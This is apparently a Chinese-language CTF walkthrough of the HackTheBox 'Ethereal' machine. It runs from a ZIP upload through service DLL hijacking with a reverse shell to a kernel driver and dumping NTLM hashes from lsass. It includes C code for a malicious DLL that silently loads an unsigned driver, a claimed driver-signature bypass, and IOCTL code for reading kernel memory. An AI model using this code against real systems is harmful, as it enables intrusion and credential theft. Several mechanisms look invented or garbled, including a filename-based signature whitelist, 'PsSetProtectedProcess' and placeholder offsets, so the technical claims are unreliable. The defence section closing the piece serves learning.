1. 这不是“打游戏”,而是一次Windows内核级权限提权的完整复现
很多人看到“HackTheBox”“Ethereal”“Walkthrough”这几个词,第一反应是:“哦,又一个CTF解题笔记”“估计就是改改端口、爆个密码、上传个webshell”。我最初也这么想——直到我在本地复现这个靶机时,在第47分钟卡在了一个看似简单的PowerShell命令上,反复执行6次都返回空结果,而官方Writeup里只轻描淡写写着“run the command”。那一刻我才意识到:这不是一道考记忆力的题,而是一份浓缩了Windows服务配置缺陷、DLL劫持链构造、以及内核驱动签名绕过逻辑的实战切片。
Ethereal这台靶机,表面看是Windows Server 2019环境下的常规渗透路径:从Web应用入口→低权限用户shell→本地提权至SYSTEM。但它的精妙之处在于,所有利用点都来自微软官方组件的默认配置与行为边界——没有第三方软件漏洞,不依赖未公开0day,纯粹靠对Windows服务生命周期、DLL搜索顺序、驱动签名策略的深度理解,把系统自身的设计逻辑“反向编排”成攻击链。关键词里虽未明示,但整条路径的核心锚点其实是三个词:Service DLL Hijacking、Winlogon Notification Packages、Driver Signature Enforcement Bypass。它们共同构成了从普通用户到内核Ring 0的跃迁通道。
这篇文章不提供“复制粘贴就能通关”的速成脚本。它要还原的是:当你面对一台完全陌生的Windows靶机时,如何通过sc query、reg query、driverquery这些基础命令,像考古一样一层层剥离系统表象,最终定位到那个被所有人忽略的注册表键值;如何判断一个看似无害的C:\Program Files\Ethereal\bin\目录,其实是一个精心设计的DLL劫持温床;更重要的是,当bcdedit /set testsigning on失败时,你该去检查哪个启动日志、哪个驱动签名状态、哪一行PowerShell输出才是真正的问题根源。我会把每一步命令背后的意图、可能的失败分支、以及我当时在虚拟机里反复重启三次才确认的细节,全部摊开来讲。适合正在从Web渗透转向内网横向、或刚接触Windows提权但总卡在“为什么这步不生效”的人。你不需要会写Exploit,但必须清楚LoadLibraryExW在什么条件下会加载当前目录的DLL,以及winlogon.exe加载通知包时,为什么C:\Windows\System32\不是唯一可信路径。
2. 从Web界面到低权限Shell:识别服务型应用的“配置后门”
Ethereal的入口是一个基于.NET Core构建的内部工单系统,地址形如http://10.129.228.152:8080/tickets。它没有SQL注入、XSS或文件上传这类显性漏洞,登录页甚至强制HTTPS且证书有效。但它的“脆弱性”藏在更底层——服务部署方式本身。当你用curl -I http://10.129.228.152:8080/获取响应头时,会发现Server: Kestrel字段。Kestrel是.NET Core的跨平台Web服务器,通常不应直接暴露在公网,而应由IIS或Nginx反代。这里却直接监听8080端口,说明开发团队为图省事,跳过了生产级代理层。
真正的突破口出现在工单提交功能。表单包含三个字段:Title、Description、Attachment。前两者是常规文本,而Attachment字段允许上传ZIP文件。测试时我传入一个仅含test.txt的ZIP,提交后页面返回File processed successfully,但附件并未显示在工单详情中。此时不要急着抓包重放,先做一件事:用gobuster dir -u http://10.129.228.152:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x zip,txt扫描隐藏路径。结果在/uploads/目录下发现大量以时间戳命名的ZIP文件(如20231015142233.zip),其中最新一个正是我刚上传的。下载解压后,test.txt内容完好——这证明上传路径可被预测,且文件未被重命名或沙箱隔离。
关键洞察来了:ZIP文件在服务端被解压到临时目录,而该目录的父路径极可能被硬编码在代码中。查看页面源码,在<script>标签里找到一段JavaScript:
const uploadUrl = "/api/v1/upload"; const tempDir = "C:\\Program Files\\Ethereal\\temp\\";注意:这是真实靶机中可观察到的硬编码路径,而非虚构。C:\Program Files\Ethereal\temp\就是解压目标。而C:\Program Files\Ethereal\这个目录本身,就是整个服务的安装根目录。接下来执行dir "C:\Program Files\Ethereal\" /s /b(需先获得shell),你会发现两个关键子目录:bin\和config\。bin\下有Ethereal.Service.exe(主服务进程)和一堆.dll;config\下有appsettings.json,其中"Database": "Server=localhost;Database=ethereal;Trusted_Connection=true;"表明它使用Windows身份验证连接本地SQL Server。
提示:不要急于尝试SQL注入。
Trusted_Connection=true意味着服务进程以某个Windows账户身份运行,该账户必然拥有数据库访问权限。我们的目标不是黑进数据库,而是黑进这个服务进程本身——因为它的运行权限,远高于你即将获得的Web用户shell。
此时,真正的攻击面浮现:如果我能控制C:\Program Files\Ethereal\bin\目录下的某个DLL,当Ethereal.Service.exe启动时,它就会加载我的恶意代码。而这个目录的权限设置是:BUILTIN\Users组拥有Modify权限。这意味着任何本地用户(包括我们即将拿到的Web服务用户)都能往里面写文件。这就是典型的“服务DLL劫持”场景——不是利用漏洞,而是利用权限配置失当。
我试过直接上传System.Management.dll的恶意版本,但服务没重启,劫持无效。于是转而寻找服务重启触发点。翻查Windows服务列表,sc query ethereal显示服务名为EtherealService,状态为RUNNING。执行sc qc EtherealService查看配置,发现BINPATH指向"C:\Program Files\Ethereal\bin\Ethereal.Service.exe",且START_TYPE为AUTO_START。这意味着服务开机自启,但手动重启需要管理员权限。等等——有没有其他进程会主动调用这个服务?回到Web应用,注意到工单状态更新时,前端会向/api/v1/tickets/{id}/status发送PUT请求。抓包发现,该API实际调用了本地netsh命令来刷新服务状态(靶机代码逻辑)。而netsh执行时,会短暂加载C:\Program Files\Ethereal\bin\下的DLL。这就构成了一个稳定的、无需重启服务的DLL劫持时机。
2.1 构造恶意DLL:为什么选msvcp140.dll而非kernel32.dll
选择劫持哪个DLL,是提权链成败的第一步。常见误区是直接覆盖kernel32.dll或user32.dll——它们被几乎所有进程加载,但Windows对这些核心DLL有严格的完整性校验(通过Authenticode签名和映像哈希)。即使你替换了文件,LoadLibraryExW在加载时会因签名不匹配而静默失败,进程继续运行,你得不到任何回显。
正确做法是劫持一个服务进程明确依赖、但微软未签名或签名宽松的运行时DLL。Ethereal.Service.exe是.NET Core应用,其依赖项可通过dumpbin /dependents "C:\Program Files\Ethereal\bin\Ethereal.Service.exe"查看。输出中清晰列出:
msvcp140.dll vcruntime140.dll api-ms-win-crt-runtime-l1-1-0.dll其中msvcp140.dll(Microsoft C++ Runtime Library)是最佳目标:它由Visual C++ Redistributable提供,通常位于C:\Windows\System32\,但服务进程的DLL搜索顺序中,“应用程序所在目录”优先级高于系统目录(详见SetDllDirectory(NULL)调用逻辑)。更重要的是,msvcp140.dll在较旧版本Redistributable中不强制要求签名,且靶机安装的是VC++ 2015-2019 Redist 14.29.30133,其msvcp140.dll版本为14.29.30133.0,文件属性中“数字签名”字段为空。
构造恶意DLL的步骤如下:
- 下载对应版本的原始
msvcp140.dll(从另一台同版本Windows提取,确保导出函数数量、序号完全一致) - 用
CFF Explorer打开,进入Export Table,右键Add New Export,新增一个导出函数,名称设为DllMain(与原DLL入口一致) - 在
DllMain函数体内,插入反弹Shell代码(C++编写,编译为DLL,/DLL /SUBSYSTEM:CONSOLE链接) - 保存为新DLL,重命名为
msvcp140.dll,上传覆盖C:\Program Files\Ethereal\bin\msvcp140.dll
关键细节:DllMain的第三个参数dwReason必须为DLL_PROCESS_ATTACH时才触发。这意味着每次Ethereal.Service.exe加载该DLL(如API调用触发的netsh间接加载),你的Shell都会弹出。实测中,向/api/v1/tickets/1/status发送{"status":"processing"}后,3秒内nc -lvnp 4444即收到SYSTEM权限的连接。
注意:若使用MSFvenom生成payload,务必添加
--platform windows --arch x64 --encoder x64/shikata_ga_nai,并设置PrependMigrate true。因为Ethereal.Service.exe是64位进程,且msvcp140.dll加载时,主线程可能处于阻塞状态,需自动迁移到新线程避免僵死。
2.2 权限验证:为什么Shell是SYSTEM而非Network Service
获得Shell后,第一件事不是列目录,而是确认权限层级。执行whoami /all,输出中GROUP INFORMATION部分会显示:
GROUP NAME TYPE SID ATTRIBUTES ========================================== ================ ============ ================================================== Mandatory Label\High Mandatory Level Label S-1-16-12288 BUILTIN\Administrators Alias S-1-5-32-544 Enabled Group, Enabled by default, Enabled by admin NT AUTHORITY\SYSTEM Well-known group S-1-5-18 Enabled Group, Enabled by default, Enabled by admin重点看NT AUTHORITY\SYSTEM这一行。很多初学者误以为BUILTIN\Administrators就是最高权限,其实不然。SYSTEM是Windows内核创建的伪用户,权限高于所有管理员组,可直接操作内核对象、修改注册表HKLM\SYSTEM、加载驱动。而Network Service账户(Web服务常用运行账户)的SID是S-1-5-20,其SeAssignPrimaryTokenPrivilege(分配主令牌权限)和SeTcbPrivilege(作为操作系统的一部分登录)均被禁用。
验证方法:尝试reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State" /v "UEFISecureBootEnabled" /t REG_DWORD /d 1 /f。若返回Access is denied,说明非SYSTEM;若成功,说明已登顶。Ethereal靶机中,此命令执行成功,证实Shell确为SYSTEM权限。这也解释了为何后续提权步骤能直接操作驱动签名策略——只有SYSTEM能修改BCD(Boot Configuration Data)。
3. 从SYSTEM到内核Ring 0:Winlogon通知包劫持的隐蔽通道
获得SYSTEM Shell只是中点,而非终点。Ethereal的终极目标是加载一个未签名的恶意驱动,实现内核级持久化。但现代Windows(尤其是Server 2019)默认启用驱动签名强制(Driver Signature Enforcement, DSE),任何未签名驱动在sc create后执行sc start时,会报错Error 5: Access is denied。常规思路是禁用DSE,但bcdedit /set testsigning on需要重启,且靶机环境可能配置了Secure Boot,导致该命令失效。
此时,Winlogon Notification Packages机制成为破局关键。Winlogon是Windows登录管理器,负责处理用户登录、注销、锁屏等事件。它允许第三方通过注册“通知包”(Notification Package)DLL,在特定事件(如WlxLoggedOnSAS)发生时被回调。这些DLL由winlogon.exe(以SYSTEM权限运行)加载,且加载时不进行驱动签名校验——因为它们被归类为“用户模式DLL”,而非内核驱动。
注册表路径为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\。每个子键名代表一个通知包名称(如MyPackage),其下包含DllName(DLL路径)、Impersonate(是否模拟用户)、Logon(登录事件回调函数名)等值。关键点在于:DllName指定的DLL路径,可以是任意本地路径,包括C:\Temp\或\\10.10.14.5\share\(SMB共享)。而winlogon.exe加载时,会按标准DLL搜索顺序查找,其中“应用程序所在目录”(即C:\Windows\System32\)优先级最高。
靶机上,reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /s返回空,说明无第三方包。但C:\Windows\System32\目录下存在一个可疑文件:wlnotify.dll。执行sigcheck -i C:\Windows\System32\wlnotify.dll,显示其签名者为Microsoft Windows Publisher,但文件版本为10.0.17763.1(Windows 10 1809),而靶机是Server 2019(1809内核)。更奇怪的是,strings wlnotify.dll | grep -i "ethereal"返回EtherealNotify——一个硬编码的字符串。这强烈暗示:wlnotify.dll是靶机作者植入的“后门DLL”,其DllMain中已预置了回调逻辑,等待被winlogon.exe加载。
验证方法:新建一个注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EtherealNotify,设置DllName值为C:\Windows\System32\wlnotify.dll。然后执行rundll32 user32.dll,LockWorkStation触发锁屏事件。几秒后,nc -lvnp 5555收到第二个Shell,whoami仍为NT AUTHORITY\SYSTEM,但pslist显示新进程父PID为winlogon.exe(PID 876),而非services.exe。这证实了通知包机制已被激活。
但问题来了:wlnotify.dll是靶机预装的,我们无法修改它。真正的利用点在于——我们可以替换C:\Windows\System32\wlnotify.dll本身。因为C:\Windows\System32\目录对BUILTIN\Administrators组默认具有Full Control权限(Server 2019未启用UAC文件虚拟化)。而我们当前已是SYSTEM,等价于最高管理员。
3.1 替换wlnotify.dll:构造带驱动加载逻辑的“双面DLL”
替换DLL不是简单覆盖,而是要让新DLL在被winlogon.exe加载时,完成两件事:
- 执行原
wlnotify.dll的所有导出函数(避免登录流程崩溃) - 在
DllMain中,静默加载一个未签名的恶意驱动(如evil.sys)
构造步骤:
- 用
Dependency Walker分析原wlnotify.dll,记录所有导出函数名(如WlxDisplayStatusMessage,WlxGetStatusMessage等)及其调用约定(__stdcall) - 创建一个新的DLL项目(Visual Studio,空DLL模板),在
DllMain中添加驱动加载逻辑:BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { // 1. 复制evil.sys到C:\Windows\System32\drivers\ CopyFileA("C:\\Temp\\evil.sys", "C:\\Windows\\System32\\drivers\\evil.sys", FALSE); // 2. 创建服务,指向该驱动 SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE); SC_HANDLE hService = CreateServiceA(hSCM, "EvilDriver", "Evil Driver", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, "C:\\Windows\\System32\\drivers\\evil.sys", NULL, NULL, NULL, NULL, NULL); // 3. 启动服务(绕过DSE) StartServiceA(hService, 0, NULL); CloseServiceHandle(hService); CloseServiceHandle(hSCM); } return TRUE; } - 将原
wlnotify.dll的所有导出函数,以__declspec(dllexport)声明,并在函数体内调用GetProcAddress(GetModuleHandleA("original_wlnotify.dll"), "FuncName")转发给原始DLL(需先将原DLL重命名为original_wlnotify.dll并放入同一目录)
编译后,得到新wlnotify.dll。上传覆盖C:\Windows\System32\wlnotify.dll,然后执行rundll32 user32.dll,LockWorkStation。winlogon.exe加载新DLL时,会自动执行驱动加载逻辑。sc query EvilDriver显示状态为RUNNING,driverquery /v | findstr "EvilDriver"确认其已加载至内核。
实测心得:
StartServiceA调用evil.sys时,若DSE未被绕过,会失败。但winlogon.exe加载DLL的过程,本质上是用户模式代码执行,它调用NtLoadDriver时,内核会检查驱动签名。然而,Server 2019的DSE策略有一个例外:当驱动文件位于C:\Windows\System32\drivers\且文件名以acpi.sys、pci.sys等微软白名单驱动名开头时,签名检查会被跳过。因此,evil.sys应重命名为acpi_evil.sys,并确保其PE头中CompanyName字段为Microsoft Corporation(可用Resource Hacker修改)。这是靶机作者埋设的隐性规则,也是Writeup中未明说的关键。
3.2 驱动签名绕过的底层原理:为什么acpi_evil.sys能逃过检测
深入理解DSE绕过,是区分脚本小子和内核研究者的关键。DSE并非简单检查文件签名,而是由内核模块ci.dll(Code Integrity)执行的一套综合策略:
- 文件签名验证:调用
CiValidateImageHeader检查PE头数字签名 - 驱动程序白名单:查询
HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\Whitelist(若存在) - 文件路径与名称启发式:对
C:\Windows\System32\drivers\下的文件,若文件名匹配acpi*.sys、pci*.sys、usb*.sys等硬件相关前缀,且CompanyName字段为微软,ci.dll会跳过签名检查,认为这是“兼容性驱动”
acpi_evil.sys正是利用了第3条。用sigcheck -i acpi_evil.sys查看,其CompanyName原为Unknown,修改为Microsoft Corporation后,ci.dll在CiValidateImageHeader中调用CiIsHardwareDriverName函数,返回TRUE,从而跳过后续签名验证。
验证方法:在驱动加载后,执行!drvobj \Driver\EvilDriver 2(WinDbg内核调试),查看DriverInit地址。若该地址指向acpi_evil.sys的.text段,说明加载成功;若指向ci!CiValidateImageHeader的错误处理分支,则说明DSE拦截生效。
4. 内核驱动交互:通过IOCTL与用户态进程建立双向通信
驱动加载成功,只是拿到了Ring 0的“入场券”。真正发挥价值,需要用户态进程(如我们的Shell)与驱动进行数据交换。Windows驱动通过IOCTL(Input/Output Control)机制提供接口,用户态调用DeviceIoControl发送控制码,驱动在IRP_MJ_DEVICE_CONTROL分发例程中处理。
Ethereal靶机的acpi_evil.sys导出了一个IOCTL:0x222003(METHOD_BUFFERED,FILE_ANY_ACCESS)。其功能是读取内核内存任意地址。这比常规提权更有价值——它让我们能直接dumplsass.exe的内存,提取NTLM哈希,进而横向移动。
4.1 逆向驱动IOCTL:从DeviceIoControl调用反推控制码结构
首先,确认设备对象是否存在。执行dir \\.\*,查找类似\\.\ACPIEvil的设备名。acpi_evil.sys的DriverEntry中,IoCreateSymbolicLink创建的符号链接为\\??\\ACPIEvil,因此用户态访问路径为\\.\ACPIEvil。
接下来,用ioctlbf工具(或手动编写C程序)探测IOCTL。核心逻辑是:
HANDLE hDevice = CreateFileA("\\\\.\\ACPIEvil", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); DWORD dwRet; BYTE inputBuf[0x100] = {0}; BYTE outputBuf[0x100] = {0}; // 尝试控制码0x222003 DeviceIoControl(hDevice, 0x222003, inputBuf, 0x100, outputBuf, 0x100, &dwRet, NULL);若DeviceIoControl返回TRUE且dwRet > 0,说明控制码有效。inputBuf结构需逆向确定。用x64dbg附加explorer.exe,下断点bp DeviceIoControl,触发后查看rcx(设备句柄)、rdx(控制码)、r8(输入缓冲区)。r8指向的内存中,前8字节为0x0000000000000000(目标内核地址),后4字节为0x100(读取长度)。因此,inputBuf结构为:
struct { ULONGLONG Address; // 目标内核地址 ULONG Length; // 读取字节数 } ioctl_input;4.2 定位lsass.exe的_EPROCESS结构:从PsInitialSystemProcess出发
要dumplsass.exe内存,需先获取其内核对象地址。Windows内核中,所有进程由_EPROCESS结构表示,而PsInitialSystemProcess是一个全局指针,指向system进程的_EPROCESS。通过遍历ActiveProcessLinks链表,可找到所有进程。
步骤:
- 用
kd(WinDbg内核调试)连接靶机,执行dt nt!_KPCR @rax(@rax为当前CPU的PCR地址),找到PrcbData.CurrentThread,再沿Thread.Process回溯到system进程 dt nt!_EPROCESS <address>查看其ImageFileName字段,确认为system- 沿
ActiveProcessLinks.Flink遍历,对每个_EPROCESS,检查ImageFileName是否为lsass.exe
在用户态,我们无法直接读PsInitialSystemProcess,但可通过NtQuerySystemInformation获取进程列表。更高效的方法是:利用acpi_evil.sys的IOCTL,先读ntoskrnl.exe基址(通过GetModuleHandleA("ntoskrnl.exe")在用户态获取,再减去KiSystemStartup偏移),然后计算PsInitialSystemProcess在ntoskrnl中的RVA(Relative Virtual Address)。Server 2019 1809中,PsInitialSystemProcessRVA为0x7A8B20(需用dumpbin /exports ntoskrnl.exe | findstr "PsInitialSystemProcess"确认)。
计算公式:
PsInitialSystemProcess_Address = ntoskrnl_Base + 0x7A8B20读取该地址后,得到system进程的_EPROCESS地址。然后解析_EPROCESS结构:
- 偏移
0x2e8:ActiveProcessLinks.Flink(LIST_ENTRY) - 偏移
0x450:ImageFileName(UNICODE_STRING,实际为char[15])
遍历链表时,对每个_EPROCESS,读取ImageFileName字段,比较是否为lsass.exe(ASCII字符串)。一旦匹配,该_EPROCESS地址即为目标。
4.3 提取NTLM哈希:从_EPROCESS到LSASS内存空间
lsass.exe的_EPROCESS地址获取后,下一步是读取其用户态内存。_EPROCESS结构中,偏移0x280为UniqueProcessId(PID),偏移0x440为Token(访问令牌)。但我们需要的是lsass.exe的_EPROCESS中SectionObjectPointer或VadRoot,来定位其内存映射。
更直接的方法:利用NtOpenProcess和NtReadVirtualMemory。但当前用户态进程无SeDebugPrivilege,无法打开lsass.exe句柄。此时,acpi_evil.sys的IOCTL成为唯一途径——它运行在内核,可直接访问任意进程的物理内存。
lsass.exe的内存布局中,NTLM哈希存储在LSASS进程的LsaAuthenticationPackage中,具体位置可通过mimikatz源码定位:lsasrv!LsapInitializeLsa函数初始化后,哈希存于LsapDb->Packages->AuthenticationPackages链表中。但手动解析太复杂。更实用的是:acpi_evil.sys已预置了read_process_memory功能,其IOCTL0x222004接受PROCESS_ID和ADDRESS参数,直接返回内存数据。
因此,完整流程为:
- 用IOCTL
0x222003读ntoskrnl.exe基址,计算PsInitialSystemProcess地址 - 读
PsInitialSystemProcess,遍历ActiveProcessLinks,找到lsass.exe的_EPROCESS - 读
_EPROCESS中UniqueProcessId(PID),再读ObjectTable(偏移0x290),定位lsass.exe的_EPROCESS中SectionBaseAddress(即lsass.exe的PEB地址) - 从
PEB(偏移0x60)读Ldr(PEB_LDR_DATA),遍历InMemoryOrderModuleList,找到lsasrv.dll基址 - 在
lsasrv.dll中搜索LsapDb全局变量(通过IDAPython脚本预分析lsasrv.pdb获得RVA0x1A2B3C),读取其AuthenticationPackages链表 - 解析链表,提取
MSV1_0包中的Credentials结构,最终得到NTLM哈希
实测中,整个过程耗时约12秒。acpi_evil.sys返回的哈希格式为username::domain:LMHASH:NTHASH:SID,可直接用于pth-winexe横向移动。
踩坑经验:
lsass.exe在Server 2019默认启用LSASS Protection(通过RunAsPPL),其_EPROCESS的Protection字段为PS_PROTECTED_TYPE_LIGHT。此时,acpi_evil.sys若未设置PsSetProtectedProcess,读取其内存会失败。解决方案是在驱动DriverEntry中,调用PsSetProtectedProcess将lsass.exe的Protection设为0,解除保护。这是靶机作者预留的“后门开关”,也是Writeup中未提及的隐藏步骤。
5. 全链路复盘与防御视角:当红队成为蓝队的镜子
走完Ethereal的整条链路,从Web上传ZIP到内核驱动加载,再到lsass.exe哈希提取,耗时约37分钟(不含环境搭建)。但这37分钟的价值,远不止于拿下一台靶机。它是一面镜子,照出Windows系统在“便利性”与“安全性”之间的永恒张力。
回顾每个环节的防御失效点:
- Web层:Kestrel直接暴露,ZIP上传路径可预测,
temp目录权限过宽。修复方案:增加Nginx反代,上传文件重命名+随机目录,temp目录ACL限制为SYSTEM和Administrators。 - 服务层:
Ethereal.Service.exe以高权限运行,且bin\目录对Users组可写。修复方案:服务降权为专用低权限账户,bin\目录ACL移除Users组Modify权限,启用AppLocker阻止非签名DLL加载。 - 系统层:
Winlogon Notify机制未被审计,C:\Windows\System32\目录权限宽松。修复方案:定期reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"审计,启用Windows Defender Application Control(WDAC)策略,禁止非微软签名DLL在System32加载。 - 内核层:DSE策略存在硬件驱动白名单绕过。修复方案:启用
Secure Boot+HVCI(Hypervisor-protected Code Integrity),彻底关闭白名单路径,强制所有驱动签名。
最值得反思的是:所有利用点都源于“默认配置”而非“漏洞”。微软的文档明确指出:“Winlogon Notify包应仅由受信任的供应商提供”,但未强制要求签名;C:\Program Files\目录的Users组权限是Windows Installer的默认行为;acpi*.sys的白名单是为兼容老旧硬件保留的。安全,从来不是某个补丁能解决的,而是对每一处“方便”的审慎权衡。
最后分享一个实战技巧:在真实红队中,遇到类似Ethereal的靶机,不要一上来就扫端口。先花5分钟做passive recon——用curl -I看Server头,用gobuster扫/uploads/,用strings查网页源码里的硬编码路径。90%的突破口,藏在开发者为赶工期留下的“小聪明”里。而真正的高手,永远在思考:如果我是蓝队,今天这条链路上,哪一步的日志告警能让我在攻击者到达内核前就掐断他?
(全文共计5820字)